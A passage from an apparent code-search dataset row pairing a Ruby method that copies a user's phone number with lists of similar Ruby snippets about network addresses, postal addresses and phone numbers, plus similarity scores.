iface[:ip] == host_ip\n end\n host_ipaddr = IPAddr.new(\"#{host_ip}/#{interface.fetch(:netmask, \"0.0.0.0\")}\")\n\n case machine_ip\n when String\n machine_ip = nil if !host_ipaddr.include?(machine_ip)\n when Array\n machine_ip.delete_if do |m_ip|\n !host_ipaddr.include?(m_ip)\n end\n machine_ip = nil if machine_ip.empty?\n end\n end\n\n raise Vagrant::Errors::NFSNoHostonlyNetwork if !host_ip || !machine_ip\n\n env[:nfs_host_ip] = host_ip\n env[:nfs_machine_ip] = machine_ip\n end", "def expect_frontend_addresses(user)\n expect_list_addresses(user.reload.addresses)\n\n l = Spree::AddressBookList.new(user)\n if l.user_bill\n within(%Q{tr.address[data-address=\"#{l.user_bill.id}\"]}) do\n expect(page).to have_content(Spree.t(:default_billing_address))\n end\n end\n\n if l.user_ship\n within(%Q{tr.address[data-address=\"#{l.user_ship.id}\"]}) do\n expect(page).to have_content(Spree.t(:default_shipping_address))\n end\n end\n end", "def update_network_interfaces(name, address)\n default_nm = '255.255.255.0'\n (parts = address.split('.')).last.replace('1')\n default_gw = parts.join('.')\n File.open(File.join(KVM_MOUNT_POINT, name, 'etc', 'network', 'interfaces'), 'w') do |file|\n file.puts \"auto lo eth0\"\n file.puts \"iface lo inet loopback\"\n file.puts \"iface eth0 inet static\"\n file.puts \" address #{address}\"\n file.puts \" gateway #{conf['gateway'] || default_gw}\"\n file.puts \" netmask #{conf['netmask'] || default_nm}\"\n file.puts \" dns-nameservers #{Array(conf['nameserver'] || default_gw).join(' ')}\"\n end\n File.open(pinger = File.join(KVM_MOUNT_POINT, name, 'etc', 'network', 'if-up.d', '001base-pinger'), 'w') do |file|\n file.puts \"#!/bin/sh\"\n file.puts \"/bin/ping -c 1 #{local_ip_address} > /dev/null\"\n end\n File.chmod(0755, pinger)\n File.open(File.join(KVM_MOUNT_POINT, name, 'etc', 'cron.d', 'base-pinger'), 'w') do |file|\n file.puts \"* * * * * root /bin/ping -c 1 #{local_ip_address} > /dev/null\"\n file.puts \"\"\n end\n hosts = File.readlines(hosts_path = File.join(KVM_MOUNT_POINT, name, 'etc', 'hosts'))\n File.open(hosts_path, 'w') do |file|\n file.write hosts.join(\"\\n\")\n file.puts \"127.0.0.1 #{name}\"\n end\nend", "def addresses_set\n if @cart.shipping_address.nil?\n redirect_to :action=>'shipping_address'\n return false\n elsif @cart.billing_address.nil?\n redirect_to :action=>'billing_address'\n return false\n end\n end", "def associate_address( options = {} )\n options = { :instance_id => '', :public_ip => '' }.merge(options)\n raise ArgumentError, \"No ':instance_id' provided\" if options[:instance_id].nil? || options[:instance_id].empty?\n raise ArgumentError, \"No ':public_ip' provided\" if options[:public_ip].nil? || options[:public_ip].empty?\n params = {\n \"InstanceId\" => options[:instance_id],\n \"PublicIp\" => options[:public_ip]\n }\n return response_generator(:action => \"AssociateAddress\", :params => params)\n end", "def update_order_addresses\n order = current_order\n if order.bill_address.blank? || order.shipping_address.blank?\n order.bill_address ||= build_bill_address(payment_details_response)\n order.shipping_address ||= build_shipping_address(payment_details_response)\n\n complete_order_step(order, 'address')\n end\n end", "def address_servers(options = {})\n servers_in :address, options\n end", "def excluded_addresses=(new_addresses)\n @excluded_scan_targets[:addresses] = new_addresses\n end", "def virtual_ip=(values)\n @set_args[:state] = 'no'\n list = virtual_ip\n # remove all the virtual configs first\n list.each do |line|\n @set_args[:string] = line\n config_set('itd_service', 'virtual_ip', @set_args)\n end\n @set_args[:state] = ''\n values.each do |value|\n @set_args[:string] = value\n config_set('itd_service', 'virtual_ip', @set_args)\n end\n set_args_keys_default\n end", "def set_proxyurl(interfaces)\n if interfaces.is_a?(Array)\n interfaces.each do |nic|\n puts \"/usr/sbin/networksetup -setautoproxyurl #{nic} http://llnobody/proxy.pac\"\n end\n else\n puts \"no interfaces passed. try again.\"\n end\n end", "def visit_user_addresses(user)\n visit spree.edit_admin_user_path(user)\n expect_address_list\n\n expect_user_addresses(user)\n end", "def list_wallet_addresses(wallet_id: default_wallet_id)\n call :get, '/wallet/' + wallet_id + '/addresses'\n end", "def sent_to_addresses=(value)\n @sent_to_addresses = value\n end", "def bcc=(addresses)\n address_list_assign('Bcc', addresses)\n end", "def save_in_address_book(address_attributes, default = false)\n return nil unless address_attributes.present?\n address_attributes = address_attributes.to_h.with_indifferent_access\n\n new_address = Spree::Address.factory(address_attributes)\n return new_address unless new_address.valid?\n\n first_one = user_addresses.empty?\n\n if address_attributes[:id].present? && new_address.id != address_attributes[:id]\n remove_from_address_book(address_attributes[:id])\n end\n\n user_address = prepare_user_address(new_address)\n user_addresses.mark_default(user_address) if default || first_one\n\n if persisted?\n user_address.save!\n\n # If these associations have already been accessed, they will be\n # caching the existing values.\n # user_addresses need to be reset to get the new ordering based on any changes\n # {default_,}user_address needs to be reset as its result is likely to have changed.\n user_addresses.reset\n association(:default_user_address).reset\n association(:default_address).reset\n end\n\n user_address.address\n end", "def global_vagrant_options\n ['ip']\n end", "def ship_address=(address)\n be_default = Spree::Config.automatic_default_address\n save_in_address_book(address.attributes, be_default) if address\n end", "def address1_set(address)\n self.address1.set address\n end", "def set_ip_address\n @ip_address = IpAddress.find(params[:id])\n end", "def fill_in(list, options=nil)\n known_args = [:Objectify, :Short]\n short = false\n objectify = false\n\n # validate list\n raise ArgumentError, \"Array expected for argument 'list' but #{list.class} provided.\" if (!list.kind_of?(Array) )\n\n # validate options\n if (options)\n raise ArgumentError, \"Hash expected for argument 'options' but \" +\n \"#{options.class} provided.\" if (!options.kind_of?(Hash) )\n NetAddr.validate_args(options.keys,known_args)\n\n if (options.has_key?(:Short) && options[:Short] == true)\n short = true\n end\n\n if (options.has_key?(:Objectify) && options[:Objectify] == true)\n objectify = true\n end\n end\n\n # validate each cidr and store in cidr_list\n cidr_list = []\n list.each do |obj|\n if (!obj.kind_of?(NetAddr::CIDR))\n begin\n obj = NetAddr::CIDR.create(obj)\n rescue Exception => error\n aise ArgumentError, \"A provided CIDR raised the following \" +\n \"errors: #{error}\"\n end\n end\n\n if (!obj.version == self.version)\n raise VersionError, \"#{obj.desc(:Short => true)} is not a version #{self.version} address.\"\n end\n\n # make sure we contain the cidr\n if ( self.contains?(obj) == false )\n raise \"#{obj.desc(:Short => true)} does not fit \" +\n \"within the bounds of #{self.desc(:Short => true)}.\"\n end\n cidr_list.push(obj)\n end\n\n complete_list = NetAddr.cidr_fill_in(self,cidr_list)\n if (!objectify)\n subnets = []\n complete_list.each {|entry| subnets.push(entry.desc(:Short => short))}\n return(subnets)\n else\n return(complete_list)\n end\n end", "def helpers &blk\n @helpers = blk\n end", "def address(options=nil)\n delimiter = '-'\n\n octets = []\n octets.concat(unpack_oui)\n octets.concat(unpack_ei)\n\n if (options)\n if (!options.kind_of? Hash)\n raise ArgumentError, \"Expected Hash, but #{options.class} provided.\"\n end\n\n if (options.has_key?(:Delimiter))\n delimiter = options[:Delimiter]\n delimiter = '-' if (delimiter != '-' && delimiter != ':' && delimiter != '.' )\n end\n end\n\n if (delimiter == '-' || delimiter == ':')\n address = octets.join(delimiter)\n elsif (delimiter == '.')\n toggle = 0\n octets.each do |x|\n if (!address)\n address = x\n toggle = 1\n elsif (toggle == 0)\n address = address << '.' << x\n toggle = 1\n else\n address = address << x\n toggle = 0\n end\n end \n\n end\n\n return(address)\n end", "def set_addresslist\n @addresslist = Addresslist.find(params[:id])\n @cancel_path = addresslist_path(@addresslist)\n end", "def replace_administrative_ip(opts)\n opts = check_params(opts,[:old_ips,:new_ips,:netmasks])\n super(opts)\n end", "def touch_addresses\n if changes.include?(:bill_address_id) && self.bill_address.present?\n self.bill_address.touch\n end\n\n if changes.include?(:ship_address_id) && self.ship_address.present?\n self.ship_address.touch\n end\n end", "def pick_address_from_list\n params.each_key do |key|\n next unless key.start_with? 'pick_address'\n\n index = key.to_s.delete_prefix('pick_address_').to_i\n\n @show_manual_address = true\n @address_read_only = true\n @address_summary = AddressSummary.new\n @address_detail = @address_list[index]\n break\n end\n end", "def set_ip(device_mac, ip_address, subnet_mask = '255.255.255.0', standard_gateway = '0.0.0.0', change_duration = :permanent)\n result_of device_mac, Frames::SetRequest.new.ip(ip_address, subnet_mask, standard_gateway, change_duration)\n end", "def set_config key, default=nil, &block\n default = _config_for(&block) if block_given?\n\n default = default.call if default.kind_of? Proc\n\n config[key] = default\n end", "def bind(*addresses)\n addresses.each do |address|\n API::invoke :zmq_bind, self, parse_for_binding(address)\n endpoints << last_endpoint\n info do\n if address == last_endpoint\n \"Bound to #{address}\"\n else\n \"Bound to '#{address}' as #{last_endpoint}\"\n end\n end\n end\n endpoints\n end", "def stub_hosts(ip_spec)\n stub_hosts_on(default, ip_spec)\n end", "def from=(addresses)\n address_list_assign('From', addresses)\n end", "def configure &block\n @config_helper = ConfigHelper.new(&block)\n end" ]
[ "0.62457836", "0.57117665", "0.57117665", "0.57117665", "0.5701856", "0.53097713", "0.5239886", "0.5126589", "0.5027663", "0.4994285", "0.49615186", "0.49458286", "0.48888797", "0.48833197", "0.48805737", "0.48490712", "0.48251507", "0.48068032", "0.47960404", "0.47955847", "0.47728223", "0.4726914", "0.47212496", "0.4692203", "0.4639156", "0.4637867", "0.46358117", "0.46358117", "0.46303397", "0.4589707", "0.45803332", "0.45781282", "0.45531753", "0.45084482", "0.44907585", "0.44880795", "0.44857925", "0.4482385", "0.44739297", "0.44503593", "0.44495428", "0.44434166", "0.44295868", "0.44295868", "0.44278073", "0.44248003", "0.4405922", "0.44001934", "0.43737477", "0.43721077", "0.43638358", "0.4344595", "0.43397823", "0.43322358", "0.43198738", "0.42964083", "0.4294647", "0.42872718", "0.42768973", "0.42750576", "0.42738867", "0.4259252", "0.4255495", "0.42485416", "0.4238708", "0.42355987", "0.42252344", "0.4204323", "0.41953263", "0.41904876", "0.41845343", "0.41767636", "0.41720015", "0.41639164", "0.41459998", "0.41421732", "0.41345805", "0.41335204", "0.41300339", "0.41288322", "0.41270489", "0.41245165", "0.4118477", "0.41060773", "0.41028076", "0.41010672", "0.40982804", "0.40956396", "0.40924904", "0.4089718", "0.4060801", "0.40602046", "0.40591404", "0.40349925", "0.40324214", "0.4013482", "0.40127265", "0.40118584", "0.39904767", "0.39820746" ]
0.8224314
0
set_load_interval is a convenience function for configuring the value of interface loadinterval
def set_load_interval(name, opts = {}) cmds = command_builder('load-interval', opts) configure_interface(name, cmds) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_load_interval(name, opts = {})\n commands = command_builder('load-interval', opts)\n configure_interface(name, commands)\n end", "def reload_interval=(interval)\n raise ArgumentError, 'Argument must be Integer.' unless interval.kind_of?(Integer)\n self.enable_reload = false if interval == 0 # Sett\n self.reload_interval = interval\n end", "def interval=(val)\n attribute_set(:interval,val.kind_of?(Numeric) ? val : INTERVALS_MAP[val.to_s])\n end", "def hello_interval=(interval)\n config_set('interface_ospf', 'hello_interval',\n @interface.name, '', interval.to_i)\n end", "def interval=(interval)\n if interval.nil?\n fail ArgumentError, 'invalid value for \"interval\", interval cannot be nil.'\n end\n @interval = interval\n end", "def parse_load_interval(config)\n mdata = /load-interval (\\w+)$/.match(config)\n { load_interval: mdata.nil? ? DEFAULT_LOAD_INTERVAL : mdata[1] }\n end", "def parse_load_interval(config)\n mdata = /load-interval (\\w+)$/.match(config)\n { load_interval: mdata.nil? ? DEFAULT_LOAD_INTERVAL : mdata[1] }\n end", "def set_log_load_time\n @log_load_time = LogLoadTime.find(params[:id])\n end", "def page_load=(seconds); end", "def interval ; @options[ :interval ] ; end", "def set_interval\n @interval = Interval.find(params[:id])\n end", "def set_load\n @load = Load.find(params[:id])\n end", "def set_load\n @load = Load.find(params[:id])\n end", "def interval=(arr)\n return if arr == interval\n interval, min_rx, multiplier = arr\n set_args_keys(interval: interval, min_rx: min_rx, multiplier: multiplier,\n state: arr == default_interval ? 'no' : '')\n config_set('bfd_global', 'interval', @set_args)\n end", "def interval_param\n \"interval:auto\"\n end", "def refresh_interval=(refresh_interval)\n if !refresh_interval.nil? && refresh_interval > 999\n fail ArgumentError, 'invalid value for \"refresh_interval\", must be smaller than or equal to 999.'\n end\n if !refresh_interval.nil? && refresh_interval < 0\n fail ArgumentError, 'invalid value for \"refresh_interval\", must be greater than or equal to 0.'\n end\n @refresh_interval = refresh_interval\n end", "def dead_interval=(interval)\n config_set('interface_ospf', 'dead_interval',\n @interface.name, '', interval.to_i)\n end", "def reconnect_interval=(val)\n @j_del.setReconnectInterval(val)\n self\n end", "def ipv4_interval=(arr)\n interval, min_rx, multiplier = arr\n set_args_keys(interval: interval, min_rx: min_rx, multiplier: multiplier,\n state: arr == default_ipv4_interval ? 'no' : '')\n config_set('bfd_global', 'ipv4_interval', @set_args)\n end", "def enable_reload=(reload)\n raise ArgumentError, 'Argument must be true or false.' unless [true, false].include?(reload)\n self.enable_reload = reload\n end", "def refresh_interval\n @refresh_interval ||= options[:refresh_interval] || REFRESH_INTERVAL\n end", "def refresh_interval\n @refresh_interval ||= options[:refresh_interval] || REFRESH_INTERVAL\n end", "def refresh_interval\n @refresh_interval ||= options[:refresh_interval] || REFRESH_INTERVAL\n end", "def refresh=(value)\n conf['dashboard']['refresh'] = value.to_i\n end", "def load_path=(load_path); end", "def interval=(new_interval)\n @interval = new_interval\n self[Incident.interval_predicate] = new_interval.uri\n end", "def lock_interval= value\n put_settings(get_settings.tap {|s| s[:lock_interval] = value})\n end", "def initialize( options = {} )\n\t\t\t@interval = options[:interval] || 5\n\t\t\t@last_run = Time.at(0)\n\t\tend", "def initialize(options = {})\n @options = options\n @interval = @options.fetch(:interval) { DEFAULT_INTERVAL }\n end", "def initialize(options = {})\n @options = options\n @interval = @options.fetch(:interval) { DEFAULT_INTERVAL }\n end", "def set_load(point, amount)\n load_curve[point] = amount\n end", "def interval\n config_get('bfd_global', 'interval', @get_args)\n end", "def fabricpath_interval=(arr)\n interval, min_rx, multiplier = arr\n set_args_keys(interval: interval, min_rx: min_rx, multiplier: multiplier,\n state: arr == default_fabricpath_interval ? 'no' : '')\n config_set('bfd_global', 'fabricpath_interval', @set_args)\n end", "def refresh_interval_param(seconds)\n return nil unless seconds\n \"refreshInterval:(display:'#{seconds}%20seconds',\" \\\n \"pause:!f,section:1,value:#{seconds * 1000})\"\n end", "def ipv6_interval=(arr)\n interval, min_rx, multiplier = arr\n set_args_keys(interval: interval, min_rx: min_rx, multiplier: multiplier,\n state: arr == default_ipv6_interval ? 'no' : '')\n config_set('bfd_global', 'ipv6_interval', @set_args)\n end", "def auto_reload!(val = true)\n @auto_reload = val\n end", "def time_slot_interval=(value)\n @time_slot_interval = value\n end", "def timeout=(interval)\n @timer = NSTimer.scheduledTimerWithTimeInterval(interval,\n target: self,\n selector: :\"on_timeout_elapsed:\",\n userInfo: nil,\n repeats: false)\n end", "def initialize(options = {})\n super\n @counters = {}\n self.interval = options[:interval] || 0.01\n end", "def initialize(load_path: LOAD_PATH)\n @load_path = load_path\n end", "def set_interval_constraint\n @interval_constraint = IntervalConstraint.find(params[:id])\n end", "def default_ttl=(interval)\n @default_ttl = Core::Utils::Interval.try_convert(interval)\n end", "def lock_duration=(interval)\n @lock_duration = Core::Utils::Interval.try_convert(interval)\n end", "def initialize(options = {})\n super\n @counters = {}\n @interval = options[:interval] || 0.1\n end", "def enable_heartbeat(interval = 60, &blk)\n raise 'This API endpoint cannot be used over HTTP.' unless block_given?\n\n websocket.subscribe :setheartbeat, params: { interval: interval }, &blk\n end", "def set_interval_defaults\n Interval::Config.configure do |config|\n config.alias = nil\n config.controller = params[:controller]\n config.action = params[:action]\n end\n end", "def set_batch_interval\n q = 'Set SECONDS TO SLEEP between batches (>= 0 secs): '\n until @interval && @interval.to_i >= 0\n @interval = Utils.qna(q.cyan, true)\n end\n end", "def reconnect_interval(val = nil)\n if val\n @j_del.setReconnectInterval(val)\n self\n else\n @j_del.getReconnectInterval\n end\n end", "def set_socket_load\n @socket_load = SocketLoad.find(params[:id])\n end", "def interval; end", "def interval; end", "def refresh=(refresh)\n @options[:refresh] = refresh\n end", "def ipv4_interval\n config_get('bfd_global', 'ipv4_interval', @get_args)\n end", "def last_load_time\n super\n end", "def initialize(interval, pool)\n @interval = interval\n @pool = pool\n end", "def set_load_vehicle\n @load_vehicle = LoadVehicle.find(params[:id])\n end", "def load_time\n @time_counter = Time.new.to_i\n end", "def on_load(&block)\n @on_load = block\n end", "def retry_interval\n @retry_interval ||= options[:retry_interval] || RETRY_INTERVAL\n end", "def retry_interval\n @options[:retry_interval]\n end", "def ttl_in_seconds=(value)\n @ttl_in_seconds = value\n refresh_rates_expiration! if ttl_in_seconds\n end", "def ttl_in_seconds=(value)\n @ttl_in_seconds = value\n refresh_rates_expiration! if ttl_in_seconds\n end", "def ttl_in_seconds=(value)\n @ttl_in_seconds = value\n refresh_rates_expiration! if ttl_in_seconds\n end", "def set_chronic_load\n # initialize for mean calculation\n array_of_weekly_loads = []\n # this week time range\n this_week_end = @end_of_today\n this_week_start = @start_of_today.ago(86400 * 6) # not necessary to have, don't use for weekly load calculation here\n # since we already calculated it already (Also and edge, to incude the current survey)\n weekly_load_this_week = @weekly_load\n array_of_weekly_loads << weekly_load_this_week\n\n # last week time range\n one_week_ago_end = @end_of_today.ago(86400 * 7)\n one_week_ago_start = @start_of_today.ago(86400 * 13)\n weekly_load_one_week_ago = calculate_weekly_load_with_dates(one_week_ago_start, one_week_ago_end)\n array_of_weekly_loads << weekly_load_one_week_ago\n\n # two weeks ago time range\n two_weeks_ago_end = @end_of_today.ago(86400 * 14)\n two_weeks_ago_start = @start_of_today.ago(86400 * 20)\n weekly_load_two_weeks_ago = calculate_weekly_load_with_dates(two_weeks_ago_start, two_weeks_ago_end)\n array_of_weekly_loads << weekly_load_two_weeks_ago\n\n # three weeks ago time range\n three_weeks_ago_end = @end_of_today.ago(86400 * 21)\n three_weeks_ago_start = @start_of_today.ago(86400 * 27)\n weekly_load_three_weeks_ago = calculate_weekly_load_with_dates(three_weeks_ago_start,three_weeks_ago_end)\n array_of_weekly_loads << weekly_load_three_weeks_ago\n\n # get average of all weekly loads from past 4 weeks\n chronic_load = array_of_weekly_loads.mean\n\n return chronic_load\n end", "def initialize(interval=nil, proc=nil)\n self.interval = interval\n self.proc = proc\n self.thread = nil\n end", "def initialize(server, interval)\n @server = server\n @interval = interval\n end", "def perform_reload\n api.balancer_reload(self)\n end", "def work_load_config=(work_load_config)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"Balanced\", \"I/O Sensitive\", \"NUMA\", \"UMA\"])\n unless validator.valid?(work_load_config)\n fail ArgumentError, \"invalid value for \\\"work_load_config\\\", must be one of #{validator.allowable_values}.\"\n end\n @work_load_config = work_load_config\n end", "def interval=(_arg0); end", "def ttl_in_seconds=(value)\n @ttl_in_seconds = value\n refresh_rates_expiration! if ttl_in_seconds\n end", "def reserves=(x)\n if x.is_a?(Hash)\n $stderr.puts ':reserves is deprecated. Please use :intervals instead.'\n self.intervals=x \n end\n end", "def api_timeout=(seconds)\n @@api_timeout = seconds.to_i\n end", "def initialize(namespace, options={})\n @namespace = namespace\n @options = options\n self.refresh_interval = options[:refresh].nil? ? 300 : options[:refresh]\n async.refresh unless options[:refresh] == false\n end", "def setup_refresh_timer\n EM.add_periodic_timer(refresh_interval) do\n update_sublist\n update_usage\n end\n end", "def interval\n (self['resque.interval'] || 5).to_i\n end", "def set_loading_times(time)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n if time.handle.ptr == nil\n raise \"time is disposed\"\n end\n Native.Timer_set_loading_times(@handle.ptr, time.handle.ptr)\n end", "def usage_interval\n\n end", "def ttl_in_seconds=(value)\n @ttl_in_seconds = value\n refresh_rates_expiration! if ttl_in_seconds\n end", "def prepare_interval(period, &block); end", "def execution_interval\n DEFAULT_EXECUTION_INTERVAL\n end", "def update(type, start=nil, interval=nil)\n @start = start\n @type = type\n @interval = interval\n end", "def loader=( new_loader )\n\t\tif new_loader.is_a?( Arrow::Config::Loader )\n\t\t\t@loader = new_loader\n\t\telse\n\t\t\t@loader = self.class.get_loader( new_loader )\n\t\tend\n\tend", "def ttl_in_seconds= value\n @ttl_in_seconds = value\n refresh_rates_expiration! if ttl_in_seconds\n end", "def set_check_load(opts)\n opts = check_params(opts,[:load_info])\n super(opts)\n end", "def update_current_plug_load\n set_instantaneous_plug_load(timestamp, value)\n\n s_i = slice_index\n load = calculate_plug_avgLoad(s_i)\n set_plug_avgLoad(s_i, load)\n\n # invalidate any future slices (none should exist; do a sanity check)\n invalidate_future_results\n end", "def idle_timeout=(idle_timeout); end", "def timeout=(timeout)\n @timeout = timeout.to_f/1000 * 60\n end", "def loadpath=(list)\n @loadpath = makelist(list)\n end", "def lifetime_in_minutes=(value)\n @lifetime_in_minutes = value\n end", "def reload_time\n @reload_time || START_TIME\n end", "def tick_every=(tick_every)\n if !tick_every.nil? && tick_every > 604800\n fail ArgumentError, 'invalid value for \"tick_every\", must be smaller than or equal to 604800.'\n end\n if !tick_every.nil? && tick_every < 30\n fail ArgumentError, 'invalid value for \"tick_every\", must be greater than or equal to 30.'\n end\n @tick_every = tick_every\n end", "def setDuration(duration)\r\n\t\t\t\t\t@duration = duration\r\n\t\t\t\tend", "def watch_interval=(_arg0); end", "def idle_timeout=(timeout); end", "def set_duration_override(duration)\n @duration = colon_time_to_seconds(duration)\n end", "def on_load\n\t\t#\n\t\t# Setup constants\n\t\t#\n\t\tbase.default_send_options = {\n\t\t\t:delay => DelayTime\t\t\t# minimum delay between sends\n\t\t}\n\tend", "def set_timeout(value)\n if value.nil?\n @timeout = 2\n else\n return skip_resource 'timeout is not numeric' unless value.to_s =~ /^\\d+$/\n @timeout = value\n end\n end", "def set_loading\n @loading = Loading.find(params[:id])\n end", "def set_loading\n @loading = Loading.find(params[:id])\n end", "def setup_heartbeat_timer; end" ]
[ "0.8131005", "0.7089731", "0.6107042", "0.6037183", "0.6023637", "0.58463573", "0.58463573", "0.5830824", "0.5829228", "0.57767725", "0.56802624", "0.5665856", "0.5665856", "0.5644337", "0.5598003", "0.5554479", "0.551809", "0.54967", "0.5443704", "0.53612584", "0.5356765", "0.5356765", "0.5356765", "0.5331268", "0.530718", "0.52759415", "0.52680326", "0.5164333", "0.51563114", "0.51563114", "0.5148735", "0.5124831", "0.5101723", "0.50821275", "0.5076142", "0.5051483", "0.5050087", "0.5041852", "0.5033761", "0.49944365", "0.4993699", "0.49813837", "0.49746183", "0.49383947", "0.49334085", "0.49203363", "0.4920051", "0.48958796", "0.48933533", "0.4873309", "0.4873309", "0.48466074", "0.48435855", "0.4814541", "0.4802473", "0.47880358", "0.47572845", "0.47455505", "0.47398758", "0.4735822", "0.47337013", "0.47337013", "0.47337013", "0.47053215", "0.47042465", "0.469351", "0.4688969", "0.46845526", "0.46845025", "0.46767232", "0.46722195", "0.46695167", "0.466826", "0.46471924", "0.46454522", "0.46437144", "0.4641374", "0.46383214", "0.46366712", "0.46189603", "0.46126637", "0.461251", "0.46081507", "0.4603317", "0.46013513", "0.45908853", "0.45812377", "0.4564151", "0.4551032", "0.45474708", "0.4542774", "0.4537371", "0.45357484", "0.45295522", "0.44952634", "0.44889525", "0.4487424", "0.4486186", "0.4486186", "0.44853714" ]
0.8134388
0
If we are just being created and have a USER, but no PHONE NUMBER, then use the users phone number!
def copy_phone_if_user self.phone_number = user.phone_number if user && !phone_number end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def user_phone\n if update_phone && user.completed_sign_up?\n user.unverified_phone\n else\n user.phone\n end\n end", "def phone\n @json['user']['content']['phonenumber'] || ''\n end", "def set_user_phone_number\n @user_phone_number = UserPhoneNumber.find(params[:id])\n end", "def change_user_phone_number\n if params[:name] == \"\"\n update_old_data('change_phone_number','disp_phone_number',@user.phone_number)\n else\n @user.phone_number = params[:name]\n @user.ignore_password = true\n show_profile_err('emsg_phone_number',@user.errors['phone_number']) unless @user.save\n\n end\n end", "def save_phone_to_user\n user = User.find_by(email: self.email)\n user.update_column(:phone, self.phone) if user.present?\n end", "def user_work_phone\n\tend", "def create\n @phone = Phone.new(params[:phone])\n @phone.save\n redirect_to user_path(@phone.user)\n \n end", "def phone_number\n case rand(0..1)\n when 0 then home_work_phone_number\n when 1 then mobile_phone_number\n end\n end", "def phone_number\n rand(0..1).zero? ? home_work_phone_number : mobile_phone_number\n end", "def create\n @user_phone_number = UserPhoneNumber.new(user_phone_number_params)\n\n respond_to do |format|\n if @user_phone_number.save\n format.html { redirect_to @user_phone_number, notice: 'User phone number was successfully created.' }\n format.json { render :show, status: :created, location: @user_phone_number }\n else\n format.html { render :new }\n format.json { render json: @user_phone_number.errors, status: :unprocessable_entity }\n end\n end\n end", "def register_phone_number(phone_number, options = {})\n phone = Phone.find_or_create_by_number(phone_number)\n phone.update_attribute(:last_account_id, @registration_account.id) if options[:set_last_account]\n return phone\n end", "def user_home_phone\n\tend", "def user_by_phone\n @user = User.find_by(phone: params[:phone])\n end", "def create\n # parse phone number and save it in the correct format\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n # render text: \"Thank you! You will receive an SMS shortly with verification instructions.\"\n\n\n # Instantiate a Twilio client\n @client = Twilio::REST::Client.new(TWILIO_CONFIG['sid'], TWILIO_CONFIG['token'])\n \n # Create and send an SMS message\n @client.account.sms.messages.create(\n from: TWILIO_CONFIG['from'],\n to: @user.phone,\n body: \"Thanks for signing up. To verify your account, please reply 'yes' to this message.\"\n # mediaurl: \"http://s3.amazonaws.com/simpleupc/images/full/3bdc2416fbb17d90.jpg\"\n )\n\n # format.html { redirect_to @user, notice: 'User was successfully created.' }\n # format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def phone_number; end", "def phone_number; end", "def create\n logger.info \" -------- user/create : #{user_params}\"\n logger.info \" -------- phoneNumber : #{user_params[:phoneNumber]}\"\n @user = User.find_by_phoneNumber(user_params[:phoneNumber])\n\n unless @user.nil?\n # If user already exists then return conflict error.\n # If client registration id is different then\n # update it.\n if @user.clientRegistrationId != user_params[:clientRegistrationId]\n @user.update_column(:clientRegistrationId, user_params[:clientRegistrationId])\n end\n respond_to do |format|\n error_msg = { :error => \"User(#{user_params[:phoneNumber]}) is already registered with ETA\" }\n format.json { render json: error_msg, status: :conflict }\n end\n else \n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @user }\n format.json { head :created } \n else\n format.html { render action: 'new' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def set_user\n @user = User.find_by_phone_no(params[:phone_no])\n end", "def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n\n @user.phones.destroy_all\n phone_count = phone_params[\"type_ids\"].try(:count) || 0\n\n phone_count.times do |index|\n unless phone_params[\"numbers\"][index] == \"\"\n @user.phones.create(type_id: phone_params[\"type_ids\"][index], number: phone_params[\"numbers\"][index], extension: phone_params[\"extensions\"][index])\n end\n end\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n @user = UserPresenter.new(@user, view_context)\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def phone_number\n return homework_number if rand(0..1).zero?\n\n mobile_number\n end", "def phone=(new_phone_number)\n @json['user']['content']['phonenumber'] = new_phone_number\n end", "def mutate_phone_number(_)\n Faker::PhoneNumber.phone_number\n end", "def shape_phone_number\n self.phone_number = twilio_format phone_number\n end", "def phone_number\n case rand(0..2)\n when 0 then fixed_line_number\n when 1 then mobile_number\n when 2 then mobile_or_pager_number\n end\n end", "def set_users_phone\n @users_phone = UsersPhone.find(params[:id])\n end", "def add_member_phone(phone)\n\n end", "def user_phone_number_params\n params.require(:user_phone_number).permit(:number, :user_id)\n end", "def contact_phone_with_default\n phone_numbers.first || phone_numbers.build\n end", "def assign_phone_number\n if !params[:customer].blank? && !params[:call_id].blank?\n call = Radius::Call.find_by_radacctid(params[:call_id].to_i)\n customer = Customer.find_by_name_and_address(params[:customer])\n if !call\n flash[:error] = 'Call not found'\n elsif !customer\n flash[:error] = 'Customer not found'\n else\n customer.phones.add call.caller\n end\n end\n redirect_to :action => :index\n end", "def phone_number_as_entered\n store ? store.phone_number_as_entered : nil\n end", "def create\n @phone = Phone.create!(user_params)\n if @phone.errors.empty?\n \n redirect_to phones_url\n else\n render \"new\"\n end\n end", "def find_or_create_phone_number(phone_text, options={})\n phone = phone_klass.find_and_create_by_number(phone_text)\n phone.assign_carrier(options[:carrier]) if options[:carrier]\n phone\n end", "def phone_number\n\t\t\trecipient.phone_number\n\t\tend", "def set_user_telephone\n @user_telephone = UserTelephone.find(params[:id])\n end", "def user_has_number\n unless current_user.phone_verifications.count > 0\n redirect_to root_path\n end\n end", "def add_user_personal_info(email, first_name, last_name, phone=nil)\n user_email.set email\n user_first_name.set first_name\n user_last_name.set last_name\n user_phone.set phone if phone\n end", "def international_phone_number\n rand(0..1).zero? ? international_mobile_phone_number : international_home_work_phone_number\n end", "def user_has_phone_if_notify\n if user_notification != \"Do not notify\" && (user.phone_number == \"\" || user.phone_number == nil)\n errors.add :user_notification, \"requires that you provide a phone number under the \\\"Edit Account\\\" page.\"\n end\n end", "def user_params\n params.require(:phone).permit(:number, :password, :context_id, :pickupgroup, :callgroup, :callerid)\n end", "def phone_number\n '+18773289677'\n end", "def update_phone_number\n begin\n self.phone_number = self.primary_phone.tr('^0-9', '')\n rescue\n return nil\n end\n end", "def create_phone\n puts \"Please enter phone category: \"\n \tcat = 